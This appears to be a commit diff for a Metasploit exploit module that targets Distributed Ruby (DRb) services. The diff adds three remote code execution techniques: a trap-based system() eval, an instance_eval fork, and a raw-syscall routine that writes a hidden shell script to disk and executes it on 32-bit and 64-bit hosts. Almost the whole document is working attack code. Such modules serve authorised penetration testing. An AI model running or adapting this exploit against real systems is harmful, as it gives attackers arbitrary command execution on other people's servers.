|
8 | 8 | class MetasploitModule < Msf::Exploit::Remote
|
9 | 9 | Rank = ExcellentRanking
|
10 | 10 |
|
| 11 | + include Msf::Exploit::FileDropper |
| 12 | + |
11 | 13 | def initialize(info = {})
|
12 | 14 | super(update_info(info,
|
13 | 15 | 'Name' => 'Distributed Ruby Remote Code Execution',
|
@@ -43,26 +45,74 @@ def initialize(info = {})
|
43 | 45 | ])
|
44 | 46 | end
|
45 | 47 |
|
| 48 | + def method_trap(p) |
| 49 | + p.send(:trap, 23, |
| 50 | + :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend") |
| 51 | + p.send(:my_eval, payload.encoded) |
| 52 | + end |
| 53 | + |
| 54 | + def method_instance_eval(p) |
| 55 | + p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }") |
| 56 | + end |
| 57 | + |
| 58 | + def method_syscall(p) |
| 59 | + filename = "." + Rex::Text.rand_text_alphanumeric(16) |
| 60 | + |
| 61 | + begin |
| 62 | + # syscall to decide wether it's 64 or 32 bit: |
| 63 | + # it's getpid on 32bit which will succeed, and writev on 64bit |
| 64 | + # which will fail due to missing args |
| 65 | + j = p.send(:syscall, 20) |
| 66 | + # syscall open |
| 67 | + i = p.send(:syscall, 8, filename, 0700) |
| 68 | + # syscall write |
| 69 | + p.send(:syscall, 4, i, "#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10) |
| 70 | + # syscall close |
| 71 | + p.send(:syscall, 6, i) |
| 72 | + # syscall fork |
| 73 | + p.send(:syscall, 2) |
| 74 | + # syscall execve |
| 75 | + p.send(:syscall, 11, filename, 0, 0) |
| 76 | + |
| 77 | + # likely 64bit system |
| 78 | + rescue Errno::EBADF |
| 79 | + # syscall creat |
| 80 | + i = p.send(:syscall,85,filename,0700) |
| 81 | + # syscall write |
| 82 | + p.send(:syscall,1,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10) |
| 83 | + # syscall close |
| 84 | + p.send(:syscall,3,i) |
| 85 | + # syscall fork |
| 86 | + p.send(:syscall,57) |
| 87 | + # syscall execve |
| 88 | + p.send(:syscall,59,filename,0,0) |
| 89 | + end |
| 90 | + |
| 91 | + register_file_for_cleanup(filename) if filename |
| 92 | + #print_status("payload executed from file #{filename}") unless filename.nil? |
| 93 | + #print_status("make sure to remove that file") unless filename.nil? |
| 94 | + end |
| 95 | + |
46 | 96 | def exploit
|
47 | 97 | serveruri = datastore['URI']
|
| 98 | + |
48 | 99 | DRb.start_service
|
49 | 100 | p = DRbObject.new_with_uri(serveruri)
|
50 | 101 | class << p
|
51 | 102 | undef :send
|
52 | 103 | end
|
53 | 104 |
|
54 |
| - p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend") |
55 |
| - # syscall to decide whether it's 64 or 32 bit: |
56 |
| - # it's getpid on 32bit which will succeed, and writev on 64bit |
57 |
| - # which will fail due to missing args |
58 |
| - begin |
59 |
| - pid = p.send(:syscall, 20) |
60 |
| - p.send(:syscall, 37, pid, 23) |
61 |
| - rescue Errno::EBADF |
62 |
| - # 64 bit system |
63 |
| - pid = p.send(:syscall, 39) |
64 |
| - p.send(:syscall, 62, pid, 23) |
| 105 | + methods = ["instance_eval", "syscall", "trap"] |
| 106 | + methods.each do |method| |
| 107 | + begin |
| 108 | + print_status("trying to exploit #{method}") |
| 109 | + send("method_" + method, p) |
| 110 | + handler(nil) |
| 111 | + break |
| 112 | + rescue SecurityError => e |
| 113 | + print_error("target is not vulnerable to #{method}") |
| 114 | + end |
65 | 115 | end
|
66 |
| - p.send(:my_eval, payload.encoded) |
| 116 | + |
67 | 117 | end
|
68 | 118 | end
|
0 commit comments